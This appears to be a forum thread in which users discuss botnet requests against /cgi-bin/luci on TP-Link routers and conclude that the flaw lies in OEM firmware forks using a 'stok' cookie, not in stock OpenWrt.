I run a web site and have been seeing a lot of botnet traffic in the logs the last few weeks related to this. I haven't been able to find much detailed information other than it affects TP-Link routers among many other devices and uses various CVEs to accomplish this. However, take note of the requests which look like this (IPs redacted):
That "/cgi-bin/luci" looks awful familiar! Do TP-Link devices use some modified ancient OpenWRT in the factory load that are uniquely vulnerable to RCE or should I be concerned that devices running stock OpenWRT are also vulnerable to this?
The site hosting the malware in the link has since been shut down, but I'm sure there will be others:
You can modify exploit to check vulnerability (openwrt does not use “stok” cookie for session tracking, it is invention of (likely) some OEM fork decade ago)
Given that there is limited information about the targets for this attack, it's hard to say if other chipset vendors are also considered vulnerable to these specific threats or if they are architecture dependent. However, it is worth noting that Broadcom is not well supported by OpenWrt. With that as a backdrop, Broadcom devices generally do not get added to the repos anymore, and the legacy models for which OpenWrt has been built are not popular choices due to the barely functional wifi subsystem. So, if this is limited to Broadcom based hardware, it is of little to no consequence to OpenWrt in general.
Assuming that the vulnerabilities affect other targets, it would really be necessary to have more details and CVEs to be able to determine if official OpenWrt is at risk. Typically, the types of issues that you find in headlines or advisory bulletins like referenced above are limited to the vendor firmware which is seldom patched and usually woefully out of date. But that doesn't mean this is some new set of CVEs that affects a larger landscape...
The best advice is to keep your OpenWrt installations up to date by running the latest stable release (do not bulk-upgrade packages, though). And, the forum and main site both have sections for announcements about any new (relevant) CVEs and how to mitigate/patch the issues. When CVEs are found to affect OpenWrt, the response is usually very quick.
Good idea - this returns "Sorry, the object you requested was not found" on stock OpenWRT.
I did some searching on that cookie value and 'stok' is unique to Xaiomi and TP-Link OEM firmwares, it appears they have done some modifications to stock OpenWRT, and it has been the source of many security holes.